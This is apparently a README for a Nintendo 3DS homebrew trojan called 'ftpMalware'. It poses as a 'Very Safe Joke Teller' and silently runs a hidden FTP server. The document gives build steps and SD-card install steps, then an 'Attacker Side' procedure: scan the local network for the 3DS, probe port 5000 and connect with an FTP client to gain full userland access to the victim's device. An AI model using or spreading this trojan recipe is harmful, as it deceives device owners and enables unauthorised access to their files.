A joke teller application that embeds an FTP server in the background.
- Sets up FTP server when the application launches
- No logs from the FTP server are shown to the user
- Very funny jokes.
-
Setting up development environment(If you only want to run the application, skip to "Install the Malware" steps)
-
Follow these instructions to set up development environment on your computer.
-
Open command window(or terminal) on your computer.
-
Download the newest “ctrulib” library from github. > git clone https://github.com/smealum/ctrulib.git
-
Copy the “libctru” folder from ctrulib and place it in /opt/devkitpro (replace the previous version of libctru)
-
Install libctru library > cd libctru/
> make clean
> make && make install
-
Install the Malware(If you already have the executables of the application, skip step 2-1 and 2-2)
-
Download our malware from github > git clone https://github.com/ChengshiZhang/ftpMalware
-
Compile the software > cd ftpMalware/
> source ~/.bashrc
> make
-
Insert your Nintendo 3DS’ SD card and navigate to /3ds
-
Create a folder in /3ds called “ftpMalware”
-
Copy the executables of the malware “ftpMalware.3dsx” and “ftpMalware.smdh” and place them in /3ds/ftpMalware/ in your SD card.
-
Eject the SD card and insert it into your Nintendo 3DS.
-
Launch homebrew(Default setting: Hold L camera button, press power button, then release the L camera button when the top screen shows TV static white noise)
-
Open the “Very Safe Joke Teller” application
-
Attacker Side
-
Connect to the same network as the user’s Nintendo 3DS.
-
Use IP scanner(or other IP scanning softwares) to scan the local area network.
-
Find “Nintendo Entertainment Device” on the list of scanned devices.
-
Scan whether port 5000 is open on this IP address.
-
Input the IP address of the 3DS and port 5000 in Filezilla(or other FTP client softwares)
-
Wait until the FTP connection is established.
-
Attackers now have full userland access